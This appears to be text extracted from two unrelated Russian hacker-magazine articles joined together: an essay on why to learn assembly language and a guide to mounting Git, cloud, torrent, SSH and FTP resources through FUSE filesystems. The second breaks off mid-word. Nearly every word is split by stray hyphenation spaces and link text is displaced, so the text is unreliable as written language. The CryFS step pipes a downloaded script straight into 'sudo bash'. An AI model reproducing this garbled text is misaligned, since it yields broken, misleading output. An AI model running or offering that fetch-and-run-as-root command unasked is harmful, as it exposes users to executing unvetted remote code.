Motorola офи циаль но вер нулась к Intel‐коман дам, и в дан ный момент полови‐ 
на  ассем бле ров  для  Fireball  работа ет  с  Intel‐коман дами,  а  полови на  —
с коман дами Zilog.

Zilog  Z80

ДИРЕКТИВЫ
Кро ме  ассем блер ных  команд,  прог рамма  может  содер жать  дирек тивы  —
коман ды,  не  перево дящи еся  непос редс твен но  в  машин ные  инс трук ции,
а управля ющие работой ком пилято ра. Набор и син таксис их зна читель но раз‐ 
нятся и зависят не от аппа рат ной плат формы, а от исполь зуемо го ком пилято‐ 
ра. В качес тве набора дирек тив мож но выделить:

оп ределе ние дан ных (кон стант и перемен ных);•
уп равле ние орга низа цией прог раммы в памяти и парамет рами выход ного
фай ла;

•

за дание режима работы ком пилято ра;•
все воз можные абс трак ции (то есть эле мен ты язы ков высоко го уров ня) —
от офор мле ния про цедур и фун кций (для упро щения реали зации переда чи
парамет ров) до условных конс трук ций и цик лов;

•

мак росы.•

ДОСТОИНСТВА И НЕДОСТАТКИ
К дос тоинс твам мож но отнести сле дующее:

ми нималь ное  количес тво  избы точ ного  кода  (исполь зование  мень шего
количес тва команд и обра щений в память). Как следс твие — боль шая ско‐ 
рость и мень ший раз мер прог раммы;

•

не пос редс твен ный  дос туп  к  аппа рату ре:  пор там  вво да‐вывода,  осо бым
регис трам про цес сора;

•

воз можность написа ния   (то есть воз‐ 
можность при ложе нию соз давать или изме нять часть сво его кода во вре‐ 
мя выпол нения, при чем без необ ходимос ти прог рам мно го интер пре тато‐ 
ра);

• са момо дифи циру юще гося кода

мак сималь ная  «под гонка»  для  нуж ной  плат формы  (исполь зование  спе‐ 
циаль ных инс трук ций, тех ничес ких осо бен ностей железа).

•

За недос татки мож но при нять:
боль шие объ емы кода, боль шое чис ло допол нитель ных мел ких задач;•
мень шее количес тво дос тупных биб лиотек, их малую сов мести мость;•
пло хую  читабель ность  кода,  труд ность  под дер жки  (отладка,  добав ление
воз можнос тей);

•

не пере носи мость на дру гие плат формы (кро ме дво ично сов мести мых).•

ПОЧЕМУ СЛЕДУЕТ ИЗУЧАТЬ ЯЗЫК АССЕМБЛЕРА?
В сов ремен ной прак тике индус три аль ного прог рамми рова ния  язы ки ассем‐ 
бле ра при меня ются край не ред ко. Для раз работ ки низ коуров невых прог рамм
прак тичес ки в боль шинс тве слу чаев исполь зует ся язык си, поз воля ющий дос‐ 
тигать тех же целей мно гок ратно мень шими зат ратами тру да, при чем с такой
же,  а  иног да  и  боль шей  эффектив ностью  получа емо го  исполня емо го  кода
(пос леднее дос тига ется за счет при мене ния опти миза торов). На ассем бле ре
сей час  реали зуют ся  очень  спе цифи чес кие  учас тки  ядер  опе раци онных  сис‐ 
тем и сис темных биб лиотек. Более того, прог рамми рова ние на ассем бле ре
было  вытес нено  и  из  такой  тра дици онно  ассем блер ной  области,  как  прог‐ 
рамми рова ние мик рокон трол леров. Боль шей частью про шив ки для них так же
пишут  на  си.  Тем  не менее  прог рамми рова ние  на  язы ке  ассем бле ра  очень
час то  при меня ется  при  написа нии  прог рамм,  исполь зующих  воз можнос ти
про цес сора,  не  реали зуемые  язы ками  высоко го  уров ня,  а  так же  при  прог‐ 
рамми рова нии  все воз можных  нес тандар тных  прог раммист ских  хит ростей.
Отдель ные  ассем блер ные  модули,  как  и  ассем блер ные  встав ки  в  текст
на  дру гих  язы ках,  при сутс тву ют  и  в  ядрах  опе раци онных  сис тем,  и  в  сис‐ 
темных  биб лиоте ках  того  же  язы ка  си  и  дру гих  язы ков  высоко го  уров ня.
Сегод ня едва ли  кому при дет  в  голову  сумас шедшая мысль писать  круп ную
прог рамму на чис том ассем бле ре.

Так зачем же тра тить вре мя на его изу чение? По ряду вес ких при чин, и вот
одна из них: ассем блер — это кра еуголь ный камень, на котором поко ится все
бес конеч ное прос транс тво прог рамми рова ния, начиная от рож дения пер вого
про цес сора.  Каж дый  физик  меч тает  раз гадать  тай ну  стро ения  все лен ной,
най ти  эти  загадоч ные  пер вичные  недели мые  (низ коуров невые)  эле мен ты,
из  которых  она  сос тоит,  не  удов летво ряясь  лишь  смут ным  о  том  пред став‐ 
лени ем  кван товой  теории.  Ассем блер  же  и  есть  та  пер вичная  материя,
из  которой  сос тоит  все лен ная  про цес сора.  Он —  тот  инс тру мент,  который
дает челове ку спо соб ность мыс лить в тер минах машин ных команд. А подоб‐ 
ное уме ние прос то необ ходимо любому про фес сиональ ному прог раммис ту,
даже если никог да в жиз ни он не напишет ни еди ной ассем блер ной строч ки.
Нель зя  отри цать  того,  что  невоз можно  стать  матема тиком,  совер шенно
не  имея  понятия  об  эле мен тарной  ариф метике.  На  каком  бы  язы ке  вы
ни писали прог раммы, необ ходимо хотя бы в общих чер тах понимать, что кон‐ 
крет но будет делать про цес сор, исполняя ваше высочай шее повеле ние. Если
такого понима ния нет, прог раммист начина ет без думно при менять все дос‐ 
тупные опе рации, совер шенно не ведая, что на самом деле он тво рит.

Во обще,  про фес сиональ ный  поль зователь  компь юте ра,  сис темный  ли
адми нис тра тор,  или  прог раммист,  может  поз волить  себе  что‐то  не  знать,
но  ни  в  коем  слу чае  не может  поз волить  не  понимать  сути  про исхо дяще го,
как  устро ена  вычис литель ная  сис тема  на  всех  ее  уров нях,  от  элек трон ных
логичес ких  схем  до  гро моз дких  прик ладных  прог рамм.  А  непони мание
чего‐то  вле чет  за  собой ощу щение  в  глу бине  под созна ния  неко ей  загадоч‐ 
ности, непос тижимо го таинс тва, про исхо дяще го по манове нию чьей‐то вол‐ 
шебной палоч ки.  Такое ощу щение для про фес сиона ла недопус тимо  катего‐ 
ричес ки. Он прос то обя зан быть уве рен вплоть до глу бин ных сло ев под созна‐ 
ния, что то устрой ство, с которым он име ет дело, ничего вол шебно го и непоз‐ 
нава емо го собой не пред став ляет.

Ины ми  сло вами,  до  тех  пор  пока  сущес тву ют  про цес соры,  ассем блер
будет необ ходим.

В  этом  отно шении  совер шенно  не  важ но,  какую  кон крет но  архи тек туру
и язык какого кон крет ного ассем бле ра изу чать. Зная один язык ассем бле ра,
ты с успе хом можешь начать писать на любом дру гом, пот ратив лишь некото‐ 
рое  вре мя  на  изу чение  спра воч ной  информа ции.  Но  самое  глав ное  в  том,
что, умея мыс лить язы ком про цес сора, ты всег да будешь знать, что, для чего,
почему и зачем про исхо дит. А это уже не прос то уро вень прог рамми рова ния
мыш кой,  а  путь  к  соз данию  прог рам мно го  обес печения,  несуще го  печать
велико го мас терс тва.

АССЕМБЛЕР — ПРОГРАММИРОВАНИЕ ИЛИ ИСКУССТВО?
Ска жем  так,  все  зависит  от  того,  в  чьих  руках  он  находит ся.  Ассем блер —
это пер вичный эле мент мира про цес сора, из сочета ний этих эле мен тов скла‐ 
дыва ется  его  душа,  его  самосоз нание.  Подоб но  тому,  как  вся  музыка,
написан ная  в  исто рии  челове чес тва,  сос тоит  из  сочета ний  семи  нот,  так
и сочета ние ассем блер ных команд напол няет компь ютер ный мир циф ровой
жизнью.  Кто  зна ет  лишь  три  аккорда —  это  «поп са»,  кому  же  извес тна  вся
палит ра — это клас сика.

По чему же наука так жаж дет про ник нуть в кван товые глу бины и зах ватить
в  свои  руки  неуло вимый  пер вичный  кир пичик  материи?  Что бы  получить
над ней власть, изме нять ее по сво ей воле, стать на уро вень Твор ца Все лен‐ 
ной. В чьи руки попадет такая власть — это еще воп рос. В отли чие от науки,
в мире прог рамми рова ния тайн нет, нам извес тны кир пичики, его сос тавля‐ 
ющие, а сле дова тель но, и та власть над про цес сором, которую нам дает зна‐ 
ние ассем бле ра.

Что бы  прог рамми рова ние  на  язы ке  ассем бле ра  под нялось  на  уро вень
искусс тва,  нуж но  пос тичь  его  кра соту,  скры вающуюся  за  потоком  еди ниц
и  нулей.  Как  и  в  любой  отрасли  челове чес кой  деятель нос ти,  в  прог рамми‐ 
рова нии  мож но  быть  пос редс твен ностью,  а  мож но  стать  Мас тером.  И  то
и дру гое отли чает сте пень куль туры, обра зова ния, тру да и, глав ное, то, сколь‐ 
ко души автор вкла дыва ет в свое тво рение.

Не  так  дав но  Джей мс  Кэмерон  выпус тил  в  свет  3D‐вер сию  вто рого  «Тер‐ 
минато ра»,  и  в  качес тве  инте рес ного  исто ричес кого фак та  мож но  отме тить
один любопыт ный момент из жиз ни кибор га‐убий цы…

Кадр из филь ма «Тер минатор»

Здесь мы видим «зре ние» тер минато ра, а сле ва на нем отоб ража ется ассем‐ 
блер ный  лис тинг. Судя  по  нему,  зна мени тый  Унич тожитель  работал  на  про‐ 
цес соре MOS Technology 6502 либо на MOS Technology 6510. Этот про цес сор
впер вые был раз работан в 1975 году, исполь зовал ся на компь юте рах Apple и,
помимо все го про чего, на зна мени тых игро вых прис тавках того вре мени Atari
2600  и  Nintendo  Entertainment  System  (у  нас  более  извес тной  как  Dendy).
Имел лишь три 8‐раз рядных регис тра: А‐акку муля тор и два индек сных регис‐ 
тра  X  и  Y.  Такое  малое  их  количес тво  ком пенси рова лось  тем,  что  пер‐ 
вые 256 байт опе ратив ной памяти (так называ емая нулевая стра ница) мог ли
адре совать ся спе циаль ным обра зом и фак тичес ки исполь зовались в  качес‐ 
тве  8‐раз рядных  или  16‐раз рядных  регис тров.  У  дан ного  про цес сора
было  13  режимов  адре сации  на  все го  53  коман ды.  У  тер минато ра  идет
цепоч ка  инс трук ций  LDA‐STA‐LDA‐STA…  В  семей стве  6502  прог раммы  сос‐ 
тояли чуть менее чем пол ностью из LDA/LDY/LDX/STA/STX/STY:

LDA — загрузить в аккумулятор
LDY — загрузить в регистр Y
LDX — загрузить в регистр X
STA — сохранить из аккумулятора
STX — сохранить из регистра X
STY — сохранить из регистра Y

Чте ние и запись в пор ты вво да‐вывода так же выпол нялись эти ми коман дами,
и  прог рамма  тер минато ра  име ет  впол не  осмыслен ный  вид,  а  не  пред став‐ 
ляет собой бес толко вую фан тазию сце нарис та: 

.
MOS Technology 6502 / Сис‐ 

тема команд

ОТРАСЛИ ПРАКТИЧЕСКОГО ПРИМЕНЕНИЯ
Ра нее  упо мина лось,  что  в  наше  вре мя  ассем блер  поч ти  вытес нен  язы ками
высоко го  уров ня.  Одна ко  и  по  сей  день  ему  находит ся  при мене ние.  При‐ 
ведем некото рые при меры.

Раз работ ка  встро енно го  прог рам мно го  обес печения.  Это  неболь шие
прог раммы, не тре бующие зна читель ного объ ема памяти на таких устрой‐ 
ствах, как, нап ример, телефо ны, авто мобиль ные сис темы зажига ния, сис‐ 
темы безопас ности, видео‐ и зву ковые кар ты, модемы и прин теры. Ассем‐ 
блер для это го иде аль ный инс тру мент.

•

В компь ютер ных игро вых кон солях для опти миза ции и умень шения объ ема
кода и для быс тро дей ствия.

•

Для исполь зования в прог рамме новых команд, дос тупных на новых про‐ 
цес сорах. Ком пилятор высоко го уров ня хоть и опти мизи рует код при ком‐ 
пиляции,  но  прак тичес ки  никог да  не  спо собен  генери ровать  инс трук ции
из рас ширен ных наборов команд типа AVX, CTV, XOP. Потому что коман ды
в про цес соры добав ляют быс трее, чем в ком пилято рах появ ляет ся логика
для генера ции этих команд.

•

Боль шая  доля  прог рамм  для  гра фичес кого  про цес сора  GPU  пишет ся
на ассем бле ре, наряду с язы ками высоко го уров ня HLSL или GLSL.

•

Для  написа ния  кода,  соз дание  которо го  невоз можно  или  зат рудне но
на  язы ках  высоко го  уров ня,  нап ример  получе ние  дам па  памяти/сте ка.
Даже  ког да  ана лог  на  язы ке  высоко го  уров ня  воз можен,  пре иму щес тво
язы ка ассем бле ра может быть зна читель ным. Нап ример, реали зация под‐ 
сче та  сред него  ариф метичес кого  двух  чисел  с  уче том  перепол нения
для x86 про цес соров занима ет все го две коман ды (сло жение с выс тавле‐ 
нием  фла га  перено са  и  сдвиг  с  зай мом  это го  фла га).  Ана лог  на  язы ке
высоко го уров ня   либо может не работать в прин‐ 
ципе, ведь  , либо при ком пиляции кон‐ 
верти рует ся в огромней шее количес тво команд про цес сора.

•

((long) x + y) >> 1
sizeof(long) == sizeof(int)

На писа ние  вирусов  и  анти вирус ников.  Единс твен ный  язык  прог рамми‐ 
рова ния для соз дания дос той ных инфекто ров —  ,  ,  .

•
CIH Sality Sinowal

И  конеч но  же,  нель зя  не  упо мянуть  обо рот ную  сто рону  медали:  взлом,
 и более легаль ный вари ант —  . Зна ние ассем‐ 

бле ра — это мощ ней ший инс тру мент в руках ревер сера. Ни 
, ни   без зна ний о нем невоз можны.

•
крэ кинг reverse engineering

ди зас сем бли‐ 
рова ние от ладка прог рамм

ВМЕСТО ЗАКЛЮЧЕНИЯ
Мы  про дол жим  пог ружать ся  в  ассем блер  в  сле дующих  стать ях  цик ла.  Темы
это го цик ла мы в целом опре дели ли, но если у тебя есть какие‐нибудь идеи
или пожела ния — сме ло пиши в ком менты, все учтем. :)

•Ар хитек тура x86
•80x86 CodeTable
•Срав нение ком пилято ров
•Крат кая исто рия ЭВМ
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https://xakep.ru/2016/12/08/reversing-malware-tutorial-part1/
https://ru.wikipedia.org/wiki/Zilog_Z80
http://www.emuverse.ru/wiki/MOS_Technology_6502/%D0%A1%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D0%B0_%D0%BA%D0%BE%D0%BC%D0%B0%D0%BD%D0%B4
https://en.wikipedia.org/wiki/CIH_(computer_virus)
https://en.wikipedia.org/wiki/Sality
https://ru.wikipedia.org/wiki/Backdoor.Win32.Sinowal
https://ru.wikipedia.org/wiki/%D0%92%D0%B7%D0%BB%D0%BE%D0%BC_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%BD%D0%BE%D0%B3%D0%BE_%D0%BE%D0%B1%D0%B5%D1%81%D0%BF%D0%B5%D1%87%D0%B5%D0%BD%D0%B8%D1%8F
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UNIXOID

При нято счи тать, что в UNIX фай лами пред став лено все. Вот

толь ко  в  реаль нос ти,  кро ме  прес ловутых фай лов  устрой ств

в  /dev  и  фай ловых  сис тем  /proc  и  /sys,  нет  ничего,  что

выходи ло бы за гра ницы понятия обыч ного фай ла. Что ж, мы

это испра вим и прев ратим в фай ловую сис тему если не все,

то мно гое: Git‐репози тории, FTP‐ и SSH‐ресур сы, ZIP‐архи‐ 

вы,  тор ренты,  magnet‐ссыл ки  и  даже  опе ратив ную  память

виде оадап тера.

В тра дици онных UNIX‐подоб ных ОС фай ловые сис темы реали зова ны в ядре

или  его  модулях.  Это  зна чит,  что  ошиб ки  в  их  коде  сто ят  очень  дорого,

а любая нес тандар тная фун кци ональ ность не при ветс тву ется. Мик роядер ные

ОС  (в  том  чис ле  Minix,  QNX  и  GNU/Hurd)  лишены  это го  недос татка.  В  них

драй веры и фай ловые сис темы — это обыч ные при ложе ния, поэто му сущес‐ 

тву ют  ФС,  которые  спо соб ны  пред ста вить  фай лами  не  толь ко  фай лы  /dev

и /proc, но и неч то совер шенно иное (прос тей ший при мер: облачный «диск»

типа Dropbox).

Ще пот ку  мик роядер ности  мож но  добавить  и  в  Linux.    (дос ловно

«фай ловая сис тема в поль зователь ском прос транс тве») — спе циаль ная под‐ 

систе ма  Linux,  поз воля ющая  выносить  фай ловые  сис темы  в  обыч ные  при‐ 

ложе ния, ну или делать их частью уже сущес тву ющих при ложе ний.

FUSE

На базе FUSE соз дано   нес тандар тных и порой весь‐ 

ма чуд ных фай ловых сис тем. Эта статья — попыт ка отоб рать самые замет ные

и пер спек тивные из них.

боль шое количес тво

1. GITFS
Сис тема  управле ния  вер сиями  Git  и  сер вис  на  ее  осно ве  GitHub  столь

популяр ны  сре ди  раз работ чиков,  что  обыч ным  поль зовате лям  при ходит ся

обра щать ся к ней в поис ках све жих вер сий необ ходимых при ложе ний. И если

раз работ чики, раз мещая свои про екты, волей‐неволей вынуж дены пос тигать

все  нюан сы  работы  сис темы,  то  рядовой  линук соид,  как  пра вило,  прос то

хочет,  сде лав  минимум  телод вижений,  иметь  под  рукой  исходни ки  с  пос‐ 

ледни ми изме нени ями и не вда вать ся в под робнос ти того, что такое сис тема

управле ния вер сиями и как она работа ет.

  пре дос тавля ет  воз можность  смон тировать  уда лен ный репози торий

Git, как обыч ную фай ловую сис тему, не тре буя от поль зовате ля глу боких поз‐ 

наний  в  работе  самого  Git.  Более  того,  GitFS  поз воля ет  вно сить  в  фай лы

изме нения,  которые  будут  авто мати чес ки  заком мичены  в  репози торий,

и  прос матри вать  исто рию  изме нений.  А  это  уже  может  быть  инте рес но

и прог раммис там, которые исполь зуют Git в сво их про ектах.

GitFS

Ус танов ка в Ubuntu:

$ sudo add‐apt‐repository ppa:presslabs/gitfs

$ sudo apt‐get update

$ sudo apt‐get install gitfs

В Arch Linux:

$ yaourt ‐S gitfs

При мер мон тирова ния репози тория libfuse:

$ gitfs https://github.com/libfuse.git /каталог/монтирования

Ло каль но смон тирован ный с помощью GitFS уда лен ный Git‐репози торий

2. CRYFS
За щитить ся  от  кра жи  сек ретных  докумен тов  помога ет  шиф рование. 

поз воля ет  сде лать  его  быс трым  и  ненавяз чивым.  Она  раз меща ет  зашиф‐ 

рован ные  фай лы  внут ри  обыч ного  катало га,  тем  самым  обес печивая  воз‐ 

можность их безопас ного хра нения в облачных сер висах  (нап ример, Google

Drive).  CryFS  шиф рует  не  толь ко  содер жимое  фай лов,  но  и  их  раз меры,

метадан ные и струк туру катало гов.

CryFS

Что бы скрыть раз меры фай ла, CryFS раз бива ет его содер жимое на бло ки

оди нако вого  раз мера  и  шиф рует  их  каж дый  в  отдель нос ти.  Дре вовид ная

струк тура исполь зует ся для упо рядо чива ния бло ков, при над лежащих одно му

фай лу,  при  этом  рас ходу ется  нез начитель ное  количес тво  ресур сов.  Вмес те

с тем шиф рует ся и сама дре вовид ная струк тура, и метадан ные.

Каж дый зашиф рован ный блок хра нит ся в виде фай ла в базовом катало ге,

при этом в качес тве наз вания фай ла исполь зует ся слу чай ный иден тифика тор.

Базовый каталог мож но нас тро ить для син хро низа ции с облачным сер висом.

Зло умыш ленник, име ющий дос туп к базово му катало гу, уви дит толь ко набор

зашиф рован ных  бло ков  оди нако вого  раз мера  и  не  может  уви деть  содер‐ 

жимое,  раз меры  фай лов,  метадан ные  или  струк туру  катало гов  хра нящих ся

дан ных.

Бло ки шиф руют ся с исполь зовани ем блоч ного шиф ра, выб ранно го поль‐ 

зовате лем.  Ког да  соз дает ся  фай ловая  сис тема,  генери рует ся  слу чай ный

ключ шиф рования. Этот ключ хра нит ся в фай ле кон фигура ции, который затем

зашиф ровыва ется с исполь зовани ем пароля, ука зан ного поль зовате лем.

Ус танов ка в Ubuntu и Debian про изво дит ся с помощью скрип та:

$ wget ‐O ‐ https://www.cryfs.org/install.sh | sudo bash

Arch‐based‐дис три бути вам дос тупна уста нов ка из AUR:

$ yaourt ‐S cryfs

Пос ле уста нов ки появит ся воз можность соз дать крип токата лог.

$ cryfs basedir mountdir

Нас трой ка CryFS

Во вре мя соз дания катало га сис тема задаст ряд воп росов о нас трой ках. Про‐ 

ще  все го  отве тить  утверди тель но  на  воп рос  об  исполь зовании  нас тро ек

по умол чанию.

Уп равле ние фай лами, под лежащи ми шиф рованию, осу щест вля ется в вир‐ 

туаль ном  катало ге mountdir,  затем  они шиф руют ся  и  помеща ются  в  каталог

basedir.

Ра ботать с фай ловой сис темой мож но с помощью сто рон него гра фичес‐ 

кого интерфей са SiriKali.

Уп равле ние CryFS с помощью прог раммы SiriKali

3. GDRIVEFS
Раз  уж  мы  упо мяну ли  облачные  хра нили ща,  нелиш ним  будет  рас ска зать

об  инс тру мен те,  который  поз воля ет  смон тировать  к  локаль ной  сис теме

сетевой диск Google.   — наибо лее  замет ный из мно жес тва подоб‐ 

ных средств.

GDriveFS

В Ubuntu он  уста нав лива ется с помощью PIP,  который  так же необ ходимо

инстал лировать  вмес те  с  инс тру мен тари ем,  обес печива ющим  уста нов ку

необ ходимых зависи мос тей:

$ sudo apt‐get install python‐pip

$ sudo apt‐get install build‐essential python‐dev

$ sudo pip install gdrivefs

Поль зовате лям Arch Linux и осно ван ных на нем сис тем поможет AUR:

$ yaourt ‐S gdrivefs

Пе ред  исполь зовани ем  GDriveFS  его  необ ходимо  авто ризо вать  в  Google,

выпол нив

$ gdfstool auth ‐u

В  ответ  будет  получен  URL,  по  которо му  сле дует  перей ти  в  веб‐бра узе ре.

Пос ле  про вер ки  логина  и  пароля  Google  вер нет  авто риза цион ный  токен,

который сле дует ука зать в аргу мен те коман ды:

$ gdfstool auth ‐a /var/cache/gdfs.creds "4/WUsOa‐Sm2RhgQtf9_NFAM

MbRC.cj4LQYdXfshQV0ieZDAqA‐C7ecwI"

Мон тировать гугл‐диск мож но тре мя спо соба ми.

1. С помощью скрип та:

$ sudo gdfs ‐o allow_other /var/cache/gdfs.creds /mnt/gdrivefs

2. Че рез  . Соз даем сим линк:/etc/fstab

$ sudo sudo ln ‐s `which gdfs` /sbin/mount.gdfs 

До бав ляем в   стро ку/etc/fstab

/var/cache/gdfs.creds /mnt/gdrivefs gdfs allow_other 0 0

И мон тиру ем:

$ sudo mount /mnt/gdrivefs

3. Нап рямую с помощью gdfstool:

$ sudo gdfstool mount /var/cache/gdfs.creds /mnt/gdrivefs

Смон тирован ный с помощью GDriveFS Google Drive в фай ловом

менед жере

4. DAVFS2
Ес ли лич ные убеж дения или пра вила внут ренне го тру дово го рас поряд ка зап‐ 

реща ют  тебе  исполь зовать  сер висы  Google,  а  гро моз дкие  инс тру мен ты

для работы с «Яндекс.Дис ком» наводят тос ку, выручит  , который име‐ 

ется  в репози тори ях боль шинс тва дис три бути вов.  К  счастью,  «Яндекс» под‐ 

держи вает WebDav.

DAVFS2

Прос тей ший метод мон тирова ния все того же «Яндекс.Дис ка» такой:

$ sudo mount ‐t davfs https://webdav.yandex.ru/ ~/mnt/ya/

При мон тирова нии сис тема зап росит логин и пароль к хра нили щу.

Смон тирован ный с помощью DAVFS2 «Яндекс.Диск» в фай ловом менед ‐

жере

5. IPFS
Счи таешь  сетевые  хра нили ща  вче раш ним  днем?  Сде лай  шаг  навс тре чу

интерне ту  будуще го.    смот рится  мно гообе щающе

на  фоне  пов семес тных  бло киро вок  и  зак рытия  дос тупа  к  информа ции.  Он

прив носит в фай ловую сис тему силь ные сто роны BitTorrent, Git и blockchain.

InterPlanetary  File  System

«Меж пла нетар ная»  фай ловая  сис тема  объ еди няет  все  вычис литель ные

устрой ства,  на  которых  она  уста нов лена  и  запуще на,  в  еди ную  пирин говую

сеть.  Фай лы  в  IPFS  рас пре деле ны  меж ду  все ми  учас тни ками  сети,  что

нивели рует вред от DDoS‐атак, отка зов сер веров, зап ретитель ных дей ствий

влас тей или ава рий на магис тра лях свя зи.

IPFS работа ет с крип тогра фичес кими хешами, по которым ведет ся поиск

соот ветс тву юще го  им  кон тента,  рас пре делен ного  меж ду  поль зовате лями

сети.  Выбор  содер жимого,  под лежаще го  сох ранению,  оста ется  за  самим

поль зовате лем. Дела ется это с помощью механиз ма,  схо жего с  зак ладка ми

в бра узе ре.

Соз датели  нацеле ны  на  прод вижение  IPFS  в  качес тве  замены исчерпав‐ 

шему себя HTTP. Пер вой лас точкой стал запуск нового сер виса на хос тинго‐ 

вой  плат форме  Neocities.  Сис тема  IPNS  дает  воз можность  исполь зовать

крип токлю чи для под писи ссыл ки на  IPFS‐хеш, пред став ляющий самую све‐ 

жую  вер сию  сай та.  Таким  обра зом,  при  неиз меннос ти  хеша,  который  ука‐ 

зыва ет на сайт, его содер жимое может динами чес ки изме нять ся.

При общить ся  к  будуще му  мож но,  уста новив  go‐ipfs,  основной  кли ент,

написан ный на Go. Он вклю чает в себя реали зацию ядра IPFS, демон‐сер вер

IPFS,  рас ширен ный  инс тру мен тарий  коман дной  стро ки,  HTTP  API

для управле ния узлом, HTTP‐шлюз для управле ния содер жимым с помощью

бра узе ра.

Го товые бинар ники для раз ных плат форм дос тупны  . Ска чать нуж ный

мож но,  нажав  кноп ку  Download  go‐ipfs.  Уста нов ка  про изво дит ся  сце нари ем

install.sh из ска чан ного архи ва.

здесь

Об ладате лям  Arch  Linux  и  осно ван ных  на  нем  дис три бути вов  нуж ный

бинар ник дос тупен из офи циаль ных репози тори ев.

Пос ле уста нов ки IPFS необ ходимо ини циали зиро вать сис тему, выпол нив

$ ipfs init  

Ко ман да  соз даст  каталог  ,  сге нери рует  2048‐бит ную  пару  клю чей

RSA и иден тифика тор пира.

~/.ipfs

Кли ент запус кает ся коман дой

$ ipfs daemon

Веб‐интерфейс  дос тупен  по  адре су  .  С  его

помощью  мож но  добав лять  в  сеть  локаль ные  фай лы  и  катало ги.  А  мож но

исполь зовать для это го инс тру мен тарий коман дной стро ки:

http://127.0.0.1:5001/webui

$ ipfs add [путь к файлу]

$ ipfs add ‐r [путь к каталогу]

Веб‐интерфейс InterPlanetary File System

Продолжение статьи →

mailto:ostapenko.public@gmail.com
https://github.com/libfuse/libfuse
https://github.com/libfuse/libfuse/wiki/Filesystems
https://github.com/PressLabs/gitfs
https://www.cryfs.org/
https://github.com/dsoprea/GDriveFS
https://savannah.nongnu.org/projects/davfs2
https://github.com/ipfs/ipfs
https://ipfs.io/ipns/dist.ipfs.io/#go-ipfs


МОНТИРУЕМ GIT‐РЕПОЗИТОРИИ,

FTP‐ И SSH‐РЕСУРСЫ, ZIP‐АРХИВЫ,

ТОРРЕНТЫ, МАГНИТНЫЕ ССЫЛКИ

И МНОГОЕ ДРУГОЕ

UNIXOID  НАЧАЛО СТАТЬИ←

6. BTFS

Ес ли  для  каких‐то  про ектов  тор рент‐тех нология  лишь  вдох новение,  то

для   — это  кра еуголь ный камень в осно вании. В век сверх ско рос тно го

интерне та  и  вымира юще го  ратио  нет  необ ходимос ти  содер жать  монс тру‐ 

озные тор ренто качал ки ради прос мотра пары филь мов в выход ные.

BTFS

BTFS  мон тиру ет  тор рент‐фай лы  или  маг нитные  ссыл ки  в  качес тве  фай‐ 

ловой  сис темы  с  пос леду ющим  ее  исполь зовани ем  в  виде  катало га,  дос‐ 

тупно го  толь ко  для  чте ния.  Содер жимое  начина ет  заг ружать ся  в  момент

обра щения к нему сто рон него при ложе ния.

Ус танов ка фай ловой сис темы в Ubuntu:

$ sudo add‐apt‐repository ppa:johang/btfs

$ sudo apt‐get update

$ sudo apt‐get install btfs

Ус танов ка в Arch Linux:

$ sudo pacman ‐S btfs

Пос ледова тель ность  команд  при  исполь зовании  для  прос мотра  видео

из тор рента с помощью VLC пред став лена ниже.

$ mkdir /каталог/монтирования 

$ btfs видео.torrent /каталог/монтирования  

$ cd /каталог/монтирования 

$ vlc видео.mp4 

Пап ка с тор рентом раз монти рует ся коман дой

$ fusermount ‐u /каталог/монтирования

Прос мотр видео с помощью BTFS в фай ловом менед жере

7. SSHFS

Пе решил  свой  роутер  под  DD‐WRT  и  ломишь ся  в  него  через  SSH? 

дает  воз можность  получить  дос туп  к  уда лен ной  фай ловой  сис теме,  смон‐ 

тировав  ее  к  локаль ному  катало гу.  В  общем  слу чае  для  мон тирова ния  дос‐ 

таточ но коман ды вида

SSHFS

$ sshfs имя_пользователя@адрес_устройства:/путь/к/удаленному/каталогу

/локальный/каталог [дополнительные опции]

В работе могут при годить ся сле дующие допол нитель ные опции:

 зада ет номер пор та;• ­p
  поз волит  получить  дос туп  на  чте ние  и  запись  поль‐ 

зовате лю,  не  явля юще муся  адми нис тра тором  (для  это го  допол нитель но

в    сле дует  рас коммен тировать  стро ку 

).

• ­o  allow_other

/etc/fuse.conf user_al­
low_other

Трю ки с нас трой кой фай ла   в слу чае с SSHFS так же дос тупны,

поэто му  в  него  мож но  вынес ти  нас трой ки  опций  к  час то  под клю чаемо му

по SSH уда лен ному катало гу, что бы каж дый раз их не вво дить.

~/.ssh/config

Не кото рые SSH‐сер веры не под держи вают переза пись при пере име нова‐ 

нии фай ла. В этом слу чае при попыт ке пере име нова ния фай ла будет воз вра‐ 

щено сооб щение об ошиб ке. В качес тве трю ка мож но сна чала уда лить файл

наз начения,  а  затем  выпол нить  пере име нова ние.  SSHFS  может  сде лать

это авто мати чес ки, если добавить опцию  .‐o workaround = rename

Трюк  все же может  не  сра ботать,  если  по  каким‐то  при чинам файл  наз‐ 

начения будет  вос создан  треть им лицом пос ле  того,  как SSHFS  уда лит его,

но  до  того,  как  SSHFS  успе ет  пере име новать  ста рый  файл.  Нас тупле ние

такого события ред кость, но это сле дует иметь в виду.

Ес ли  SSH‐сер вер  под держи вает  рас ширение  hardlinks,  SSHFS  поз волит

соз давать жес ткие ссыл ки. Тем не менее жес ткие ссыл ки всег да будут отоб‐ 

ражать ся  как  отдель ные  фай лы  при  прос мотре  с  помощью  SSHFS‐мон‐ 

тирова ния, то есть они будут иметь раз ные индексы и зна чение st_nlink, рав‐ 

ное 1.

В допол нение к SSHFS сущес тву ют кон соль ный инс тру мент sftpman и гра‐ 

фичес кий фрон тенд к нему SftpMan‐GTK. С их помощью мон тирова ние и раз‐ 

монти рова ние  фай ловых  сис тем  по  SSH  све дет ся  к  выпол нению  одной

коман ды или нажатию кноп ки мыши соот ветс твен но.

Гра фичес кая ути лита управле ния SSHFS — SftpMan‐GTK

Адеп ты  Qt  могут  выдох нуть.  Вок руг  биб лиоте ки  име ется  све жень кая  гра‐ 

фичес кая  обер тка,  да  еще  и  интегри рован ная  в  лоток  Plasma  5  —  .

Поль зовате ли Arch Linux для уста нов ки могут обра тить ся в AUR.

qsshfs

Гра фичес кая ути лита управле ния SSHFS — qsshfs

8. CURLFTPFS

Хра нишь  аль бомы  Бо  Дид дли  на  олд скуль ном  FTP‐сер вере?  Выручит 

 — инс тру мент для под клю чения узлов FTP в качес тве локаль ных катало‐ 

гов. Он так же при годит ся, если дос туп к нуж ному сер веру по SSH отсутс тву ет

и  SSHFS  не  может  помочь.  Дос тупен  из  офи циаль ных  репози тори ев  боль‐ 

шинс тва популяр ных сис тем.

Curl‐

